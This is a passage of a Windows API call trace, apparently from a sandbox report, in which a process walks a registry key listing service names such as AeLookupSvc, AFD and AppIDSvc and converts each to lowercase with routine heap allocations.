1 [0250.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.727] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0250.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0250.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0250.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0250.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0250.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0250.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0250.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0250.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0250.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0250.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0250.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0250.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0250.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0250.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0250.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0250.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.730] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0250.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0250.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.730] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0250.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0250.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.730] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0250.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0250.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.730] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0250.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0250.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.731] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0250.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0250.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.731] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0250.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0250.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.731] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0250.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0250.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.732] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0250.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0250.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.732] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0250.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0250.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.732] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0250.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0250.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.732] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0250.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0250.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.733] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0250.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0250.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.733] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0250.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.733] WideCharToMultiByte (in: CodePage=0x0, 